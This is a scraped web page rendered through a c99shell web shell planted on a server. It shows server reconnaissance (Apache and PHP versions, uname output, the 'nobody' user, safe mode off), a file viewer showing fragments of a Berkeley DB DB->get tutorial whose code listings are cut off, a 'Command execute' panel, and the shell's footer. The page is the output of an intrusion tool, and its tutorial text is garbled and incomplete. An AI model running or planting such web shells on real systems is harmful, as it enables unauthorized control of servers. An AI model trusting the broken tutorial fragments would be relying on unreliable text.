Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 uid=99(nobody) gid=98(nobody) groups=98(nobody) Safe-mode: OFF (not secure) /usr/doc/db-3.3.11/ref/simple_tut/ drwxr-xr-x | |
| Viewing file: Select action/file-type:
Retrieving elements from a databaseThe simplest way to retrieve elements from a database is the DB->get interface. The DB->get interface takes the same five arguments that the DB->put interface takes:
Here's what the code to call DB->get looks like: #include <sys/types.h> #include <stdio.h> #include <db.h> It is not usually necessary to clear the DBT structures passed to the Berkeley DB functions between calls. This is not always true, when some of the less commonly used flags for DBT structures are used. The DBT manual page specified the details of those cases. It is possible, of course, to distinguish between system errors and the key/data pair simply not existing in the database. There are three standard returns from DB->get:
|
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0559 ]-- |